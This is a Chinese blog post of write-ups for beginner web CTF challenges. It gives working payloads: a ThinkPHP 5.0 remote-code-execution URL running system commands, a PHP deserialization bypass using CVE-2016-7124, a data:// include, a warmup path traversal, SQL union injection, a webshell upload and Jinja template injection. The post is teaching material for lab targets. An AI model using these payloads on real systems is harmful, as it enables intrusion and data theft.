随便吧啦几句:好久没有更博了,最近有点偷懒,写博客还是蛮快乐滴,保持一直努力的状态真的好难,,,,但是嘞目标还是要有的。
Training-WWW-Robots
baby_web
因为提示了初始页面是哪个,所以查看111.198.29.45:39340/index.php
直接给跳转到了http://111.198.29.45:39340/1.php
抓包试试
发现了flag
Web_php_unserialize
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
大致思路见代码
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
// if (isset($_GET['var'])) {
// $var = base64_decode($_GET['var']);
// if (preg_match('/[oc]:\d+:/i', $var)) {
// die('stop hacking!');
// } else {
// @unserialize($var);
// }
// } else {
// highlight_file("index.php");
// }
$var=new Demo('fl4g.php');//创建序列化对象根据提示the secret is in the fl4g.php
$var1=serialize($var);
echo $var1.'<br>';//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$var2=str_replace('O:4','O:+4', $var1);//绕过preg_match
$var2=str_replace(':1:', ':2:', $var2);//绕过__wakeup()
var_dump($var2.'<br>');//string(53) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
var_dump(base64_encode($var2));//" string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>
tips:
用+4替换成4是为了绕过preg_match的正则表达式
同样的把2替换成1是利用了CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
payload:
http://111.198.29.45:47830/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
php_rce
ThinkPHP5.0版本存在远程代码执行漏洞,先学习vulhub复现这个漏洞的过程(之后会推出博客,敬请期待哦)
百度一下poc一抓一大把,再回到CTF的这道题,应该考的就是这个命令执行的漏洞:
payload:
http://111.198.29.45:39596/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
拉到页面底部,看到ThinkPHP的版本是5.0.20:
也可以执行其他命令,如whoami:
http://111.198.29.45:39596/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
不过这两条payload稍微有点区别
为了找到flag所在的文件,执行ls命令查看当前目录
http://111.198.29.45:39596/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
依次打开这几个文件,发现没有找到flag。。
看大佬的博客,逐级查看上级目录,最终看到一个名为flag的文件:
http://111.198.29.45:39596/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20../../../
用cat命令查看flag中的内容
`http://111.198.29.45:39596/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20../../../flag`
或者这样也可以:
http://111.198.29.45:39596/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag
Web_php_include
很短的一段代码,page和hello都是通过get方式传入进来,page中带有php://的都会被替换成空,这里可以有几种绕过姿势:
姿势一:大小写绕过
由于strstr()这个函数是区分大小写的所以我们可以转换成大小写用PHP://input
姿势二:data://伪协议执行命令利用
既然过滤了php://的伪协议 我们可以使用其他协议来做这里使用data://伪协议
data://text/plain;base64,xxxx(base64编码后的数据)
payload:
PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==为base64加密过后得到的字符串
http://111.198.29.45:54085/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==
warmup
注释中提到source.php,查看得到源代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(//mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。
$page,
0,
mb_strpos($page . '?', '?')//mb_strpos()函数返回被查找的字符串在别一字符串中首次出现的位置
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
绕过第一个函数检查:
$whitelist = [“source”=>“source.php”,“hint”=>“hint.php”];
page参数包含有这两个文件中的任意一个
http://111.198.29.45:59377/?file=hint.php
绕过第二个函数检查:向php页面中传入参数
http://111.198.29.45:59377/?file=hint.php?
绕过第三个函数检查:两次url编码
http://111.198.29.45:59377/?file=hint.php%253f
之后访问提示文件
`http://111.198.29.45:59377/?file=hint.php%253f/../../../../../ffffllllaaaagggg`
tips:include函数有这么一个神奇的功能:以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。
这里的ffffllllaaaagggg是在hint.php中发现的,显然flag在这个文件里。其实文件名提示了我们要使用四层目录,这里比较坑。
Hacker News
输入1’,发现存在sql注入
输入1’ or 1=1#发现注入出来两条新的纪录
尝试使用联合查询,但是首先得知道一共有多少列,1’ union select 1,2,3#时才正确,说明有三列
也可以用order by判断,当输入1’ order by 4#时返回异常说明一共有三列
接下来爆库,1’ union select 1,2,database()#
爆表,1’ union select 1,2,table_name from information_schema.tables where table_schema=“news”#
爆字段名,1’ union select 1,2,column_name from information_schema.columns where table_name=“secret_table” #,或者再加上colume_type查看数据类型
查询表,1’ union select 1,id,fl4g from secret_table#
NaNNaNNaNNaN-Batman
<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){ [0]);.splice(0,1)}}} \'<input id="c">< οnclick=$()>Ok</>\');delete _var ","docu.)match(/"];/)!=null=[" write(s[o%4]buttonif(e.ment';for(Y in $=' ')with(_.split($[Y]))_=join(pop());eval(_)</script>
是一个html文件,修改文件名后缀用浏览器打开
这个乱码问题不知如何解决,于是查看了大佬的博客,eval函数执行了_变量中的内容也就是’ '中的内容,但是,要注意的是,它并没有执行$()函数,仅仅执行了字符串而已(从而导致乱码),因而页面html页面没有任何显示,只显示了input标签的内容,把eval改为alert,让程序弹框,得到了源码的非乱码形式:
function $(){
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);
s[o%4].splice(0,1);
}
}
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _
审计代码要满足关键变量e的正则条件
^表示开头一定要匹配到be0f23,$表示结尾一定要匹配到e98aa,其它的只要匹配到就行,没有位置要求,因此构造e=be0f23233acc7be9e98aa,发现得不到flag,仔细观察原来还有一个坑,就是每一段待匹配的字符串末几位是另一个字符串的开头几位,于是换一种构造方法:
e=be0f233ac7be98aa
神奇的是,直接将下面代码复制到控制台执行也能得到flag:
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);
s[o%4].splice(0,1);
}
PHP2
anthenticate是证实的意思
用御剑扫描一下
没什么发现,看大佬的博客,原来存在代码泄露,大佬就是大佬我可想不出
.phps后缀释义: phps文件就是php的源代码文件。
通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替
审计一通代码
not allowed!
"); exit(); }
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin") {
echo "Access granted!";
echo "Key: xxxxxxx";
}
?>
Can you anthenticate to this website?
这段代码还是残缺了一些东西,查看源代码
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
意思就是要让id不等于admin,然后url解码后等于admin
因此构造/?id=%2561dmin,%25通过url栏变成%,%61通过urldecode变成a
unserialize3
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
根据题目提示,对反序列化漏洞进行利用
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$c = new xctf();
print(serialize($c));
?>
输出序列化后的xctf对象
大括号前面的1便是属性变量的个数,只需对其进行更改便可以绕过__wakeup(),使exit函数不被执行,原因如下:
__wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,这也是一个绕过点。
upload1
查看页面源代码:
function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');
if(['jpg','png'].contains(ext)){
submit.disabled = false;
}else{
submit.disabled = true;
alert('请选择一张图片文件上传!');
}
ext = name.replace(/^.+./,’’)删除文件的名称,只能上传jpg和png文件,如果不是就禁用按钮并弹窗报错,先上传一个正常的图片文件看看
可以正常访问上传的图片
upload文件访问不了
IP伪造一下,依然没法访问
于是开始上传一句话木马,要想成功上传首先得绕过前端的检测
先把要上传的php文件后缀名改成jpg,之后抓包拦截再改回来
上传成功,之后用中国菜刀连接
Web_python_template_injection
python模板注入,由于之前没有接触过,看了一篇博客:从零学习flask模板注入,写得比较详细
首先,判断python模板注入,7*7变成49了,应该存在模板注入
之后构造payload探测,payload有很多种但基本思路相似
{{''.__class__.__mro__[2].__subclasses__()}}
__class__.__mro__[2].__subclasses__([71].__init__.__globals__['os'].listdir('.')}}
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}